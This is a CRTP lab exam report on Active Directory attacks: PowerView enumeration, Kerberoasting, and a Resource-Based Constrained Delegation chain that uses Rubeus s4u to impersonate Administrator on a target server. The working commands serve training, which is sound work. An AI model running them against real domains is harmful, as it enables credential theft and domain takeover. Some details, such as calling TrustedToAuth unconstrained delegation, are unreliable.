CRTP Exam Report – RBCD Exploitation
Phase 1 – Environment Enumeration
The objective of this phase is to gather as much information as possible about the Active
Directory environment using PowerView and other reconnaissance tools.
1.1. Enumerate Domain Users
Command: Get-DomainUser | select samaccountname
📷 Screenshot: List of discovered domain users.
1.2. Enumerate Domain Computers
Command: Get-DomainComputer | select dnshostname
📷 Screenshot: List of discovered machines in the domain.
1.3. Enumerate Domain Admins
Command: Get-DomainGroupMember -Identity 'Domain Admins'
📷 Screenshot: Members of the Domain Admins group.
1.4. Enumerate Enterprise Admins
Command: Get-DomainGroupMember -Identity 'Enterprise Admins' -
Domain finance.corp
📷 Screenshot: Members of the Enterprise Admins group.
1.5. Enumerate Users with SPN (Kerberoastable)
Command: Get-DomainUser -SPN | select samaccountname,
serviceprincipalname
📷 Screenshot: Kerberoastable accounts.
1.6. Run Kerberoasting
Command: Invoke-Kerberoast
📷 Screenshot: Extracted TGS hash for offline cracking.
1.7. Enumerate Delegation and ACLs
Command: Find-InterestingDomainAcl -Verbose
📷 Screenshot: ACLs showing permissions on computers and users.
1.8. List Computers TrustedToAuthForDelegation
Command: Get-DomainComputer -TrustedToAuth
📷 Screenshot: Computers configured for Unconstrained Delegation.
1.9. Find Local Admin Access
Command: Find-LocalAdminAccess -Verbose
📷 Screenshot: Accessible hosts where local admin access was found.
Phase 2 – RBCD (Resource-Based Constrained Delegation) Exploitation
The objective is to exploit RBCD to impersonate a Domain Admin and access a high-
privilege target system.
2.1. Prerequisites Recap
Item Details
Initial account studentuser
Created machine account RBCDComputer$
Initial foothold STUDVM.tech.finance.corp
Target server mgmtsrv.tech.finance.corp
Delegation allowed STUDVM → mgmtsrv
RBCD rights WriteProperty on RBCDComputer by
studentuser
2.2. RBCD Exploitation Steps
➤ Get SID of RBCDComputer
$ComputerSid = Get-DomainComputer RBCDComputer | Select-
Object -ExpandProperty objectsid
📷 Screenshot: SID output
➤ Create Security Descriptor (SD)
$SD = New-Object Security.AccessControl.RawSecurityDescriptor
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
📷 Screenshot: Binary descriptor created
➤ Set msds-AllowedToActOnBehalfOfOtherIdentity
Set-DomainObject -Identity mgmtsrv -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
📷 Screenshot: Result of Set-DomainObject
➤ Verify Tickets
klist
📷 Screenshot: Ticket for cifs/mgmtsrv.tech.finance.corp shown
➤ Use Rubeus to extract TGT
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args
'tgtdeleg'
📷 Screenshot: base64(ticket.kirbi) output
➤ Perform S4U2Self + S4U2Proxy attack with Rubeus
Rubeus.exe s4u /user:RBCDComputer$ /rc4:<NTLM>
/impersonateuser:Administrator
/msdsspn:cifs/mgmtsrv.tech.finance.corp /domain:tech.finance.corp
/dc:tech-dc.tech.finance.corp /ptt
📷 Screenshot: Success of ticket injection and impersonation
➤ Access mgmtsrv as Administrator
winrs -r:mgmtsrv.tech.finance.corp cmd
📷 Screenshot: whoami returns Administrator@mgmtsrv
Conclusion
Through detailed enumeration and exploitation of misconfigured delegation rights, the
exam objective was achieved:
- Initial enumeration using PowerView helped identify SPNs, trust relationships, and
delegation settings.
- Exploitation of Resource-Based Constrained Delegation allowed impersonation of a
Domain Admin.
- Full control over the target server 'mgmtsrv.tech.finance.corp' was obtained.
